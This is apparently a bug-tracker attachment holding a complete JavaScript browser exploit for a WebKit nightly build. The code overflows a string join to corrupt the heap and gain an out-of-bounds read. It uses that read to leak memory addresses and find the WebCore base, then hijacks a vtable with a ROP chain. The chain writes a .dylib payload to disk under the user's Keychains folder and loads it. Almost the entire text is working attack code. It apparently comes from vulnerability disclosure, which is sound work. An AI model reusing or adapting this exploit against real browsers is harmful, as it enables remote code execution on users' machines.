New issue
Advanced search Search tips

Issue 77 attachment: webkit-nightly-r161944.html (9.1 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
<script src="simple_speak_payload.js"></script>

<script>

target_object_size = 0x1a0;
/* how much slack space after each allocation? */
padding_len = 0x20;

function uint64(upper, lower){
var s = '';
for (var i = 0; i < 4; i++){
s += String.fromCharCode((lower >> (i*8)) & 0xff);
}
for (var i = 0; i < 4; i++){
s += String.fromCharCode((upper >> (i*8)) & 0xff);
}
return s;
}

function ign(){
return uint64(0, 0);
}

function read_dword(leak_string, offset){
var val = 0;
for (var i = 0; i < 4; i++){
val += target.charCodeAt(offset + i) << (i*8);
}
return val;
}

function get_string_address(leak_string, leak_elem, str){
var l = 0;
var u = 0;
var temp_elem = document.createElement("link");
temp_elem.setAttribute("type", str); //ensure that the reference count doesn't hit 0 by leaking temp_elem
holder.push(temp_elem);
leak_elem.setAttribute("type", str);
l = read_dword(leak_string, (target_object_size - 0x20) + padding_len + 0x160); //0x160 here is the offset of m_type
l += 0x20; //skip the header
u = read_dword(leak_string, (target_object_size - 0x20) + padding_len + 0x160 + 4);
return {'l': l, 'u': u};
}


/*
* return an 8 byte string corrisponding to the given offset from the base of the
* WebCore text segment
*/
function text(offset){
var lower = image_base_lower + offset;
var upper = image_base_upper;
return uint64(upper, lower);
}

/* pivot stack to rax */
var pivot = 0x1f6235;

/* load registers */
var pop_rdi__ret = 0x86389;
var pop_rsi__ret = 0x797d4;
var pop_rdx__ret = 0x2ef85;
var pop_rcx__ret = 0x2eb06;

/* nop */
var ret = 0x2eb07;

/* move registers */
var mov_rdi_rax__jmp_rcx = 0x8c6e4d;

/* symbol stubs to call imported functions */
/* otool -arch x86_64 -IV <library> */
var open = 0xdb127a;
var write = 0xdb139a;
var dlopen = 0xdb1154;
var usleep = 0xdb137c;

/** rop to drop a .dylib to disk and dlopen it **/

function rop(library_name_address,
dylib_contents_address,
dylib_contents_length){
var r = '';

r += ign(); //pop rbp

/*** int fd = open(library_name_address, O_RDWR | O_CREAT, 0755); ***/

/* rdi: pointer to the library name */
r += text(pop_rdi__ret);
r += uint64(library_name_address.u, library_name_address.l);

/* rsi: oflag */
r += text(pop_rsi__ret);
r += uint64(0, 0x202); //O_RDWR | O_CREAT

/* rdx: mode */
r += text(pop_rdx__ret);
r += uint64(0, 0755); //rwxr-xr-x

r += text(open);

/*** write(fd, dylib_contents, dylib_contents_length); ***/

/* rdx: length of the dylib contents */
r += text(pop_rdx__ret);
r += uint64(0, dylib_contents_length);

/* these nops are here so that we can safely put the pivot address at the correct offset */
/* since this rop stack will also be the vtable */
r += text(ret);
r += text(pop_rdi__ret);
r += text(pivot); //address of pivot in vtable (+0x60)

/* rax is the fd for the open'd file - move it to rdi so it will be the first arg for the write: */
r += text(pop_rcx__ret);
r += text(pop_rsi__ret); //jmp to this the continue after the next gadget:

r += text(mov_rdi_rax__jmp_rcx);
r += ign(); //pop rbp
/* rsi: address of the dylib contents */
r += uint64(dylib_contents_address.u, dylib_contents_address.l);

r += text(write);

/*** dlopen(library_name_address, RTLD_NOW); ***/

r += text(pop_rdi__ret);
r += uint64(library_name_address.u, library_name_address.l);

r += text(pop_rsi__ret);
r += uint64(0, 2); //RTLD_NOW

r += text(ret); // dlopen uses some xmm instruction which require 16-byte stack alignment

r += text(dlopen);

/*** usleep(0xffffffff) ***/

r += text(pop_rdi__ret);
r += uint64(0, 0xffffffff);

r += text(usleep);

return r;
}

function pow2str(p, b) {
var str = String.fromCharCode(b);
for (; p; p--){
str += str;
}
return str;
}

function alloc(n, b) {
var res = '';
for(var i = 0; i < 32; i++){
if(n & 0x1)
res += pow2str(i, b);
n >>= 1;
}
//flatten
res[0];
return res;
}

holder = [];

function gc(){
var h = [];
for(var i = 0; i < 10000; i++){
h[i] = alloc(400, 0x20);
}
holder.push(h);
}


string_header_size = 0x20;
target_size_bytes = target_object_size;
target_size_string_len = target_size_bytes - string_header_size;

unbound_payload = uint64(0xffffff00, 2); //"\x02\x00\x00\x00\x00\xff\xff\xff";
overwrite_string = alloc((target_size_string_len) + (2*target_size_bytes) + (3*padding_len), 0) + unbound_payload;
holder.push(overwrite_string[0]);

target_len = 0x100000000 //overflow
+ target_size_bytes //target object size (in bytes)
- 0x20 //minus string header size
- overwrite_string.length; //minus the length of the first string

//alert("target_len:" + target_len);

t = (target_size_string_len - 1) + (target_size_string_len);
//make the separator the longer one so that we can swap out some of the shorter strings
//in the to_join array for longer ones to get the correct length:
n = Math.floor(target_len / t);

//how much shorter is that compared to the desired length?
shorter_by = target_len - (n*t);

//swap shorter_by shorter string for longer ones
m = shorter_by; //number of longer strings in the array
n = n-m; //number of shorter strings

to_join = []; //call to_join.join(s1) outside this after this is joined
//to_join.push(overwrite_string);

function build_to_join() {
to_join.length = 0;
to_join.push(overwrite_string);
for (var i = 0; i < m; i++){
to_join.push(s1);
}

for (var i = 0; i < n; i++){
to_join.push(s0);
}
return 'a';
}
s0 = 'a';
s1 = 'b';
build_to_join();
build_to_join();
build_to_join();

//have to make sure that doesn't get compiled during the call
var force_alloc_and_free = {
toString: build_to_join
};

var force_arr = [];
force_arr.push(force_alloc_and_free);
for (var i = 1; i < target_object_size/8; i++){
force_arr.push('');
}

for(var i = 0; i < 1635; i++){
holder.push(alloc(target_size_string_len, 1));
}

elem = document.createElement("link");
target = alloc(target_size_string_len, 2);
s1 = alloc(target_size_string_len, 3);
s0 = alloc(target_size_string_len - 1, 4);

Math.acos(target);
Math.acos(s1);
Math.acos(s0);
force_arr.join(); //will make a 0x1a0 byte allocation, call toString on force_alloc_and_free and free the 0x1a0 byte allocation at the end

to_join.join(s1);



// the ROP stack uses a hardcoded username - easy to fix though
var library_name = "/Users/user/Library/Keychains/simple_speak_payload.dylib\x00";
var library_name_address = get_string_address(target, elem, library_name);
//alert(library_name_address.l);

var payload_address = get_string_address(target, elem, payload);
//alert(payload_address.l);


// read the vtable pointer
var leaked_ptr_lower = read_dword(target, target_size_string_len + padding_len);

image_base_lower = leaked_ptr_lower - 0xf12ac0; //subtract the offset of the vtable

image_base_upper = 0x00000001; //the nightly build isn't using a system library so it's loaded low

/** build the fake vtable + ROP chain **/

fake_vtable_string = rop(library_name_address, payload_address, payload_len);

fake_vtable_address = get_string_address(target, elem, fake_vtable_string);



/** go again **/

payload2 = uint64(fake_vtable_address.u, fake_vtable_address.l);
overwrite_string2 = alloc((target_size_string_len) + (2*target_size_bytes) + (3*padding_len), 0) + payload2;
holder.push(overwrite_string2[0]);

target_len2 = 0x100000000 //overflow
+ target_size_bytes //target object size (in bytes)
- 0x20 //minus string header size
- overwrite_string2.length; //minus the length of the first string

//alert("target_len:" + target_len);

t2 = (target_size_string_len) + (target_size_string_len - 1);
//make the separator the longer one so that we can swap out some of the shorter strings
//in the to_join array for longer ones to get the correct length:
n2 = Math.floor(target_len2 / t2);

//how much shorter is that compared to the desired length?
shorter_by2 = target_len2 - (n2*t2);

//swap shorter_by shorter string for longer ones
m2 = shorter_by2; //number of longer strings in the array
n2 = n2-m2; //number of shorter strings

to_join2 = [];

function build_to_join2(){
to_join2.length = 0;
to_join2.push(overwrite_string2);
for (var i = 0; i < m2; i++){
to_join2.push(s2_1);
}

for (var i = 0; i < n2; i++){
to_join2.push(s2_0);
}
return 'a';
}

s2_0 = 'a';
s2_1 = 'b';
build_to_join2();
build_to_join2();
build_to_join2();

//have to make sure that doesn't get compiled during the call
var force_alloc_and_free2 = {
toString: build_to_join2
};

var force_arr2 = [];
force_arr2.push(force_alloc_and_free2);
for (var i = 1; i < target_object_size/8; i++){
force_arr2.push('');
}

gc();
gc();
gc();

for(var i = 0; i < 414; i++){
holder.push(alloc(target_size_string_len, 1));
}

elem2 = document.createElement("link");
s2_1 = alloc(target_size_string_len, 3);
s2_0 = alloc(target_size_string_len - 1, 4);

//Math.acos(elem2);
Math.acos(s2_1);
Math.acos(s2_0);
force_arr2.join();

to_join2.join(s2_1);

</script>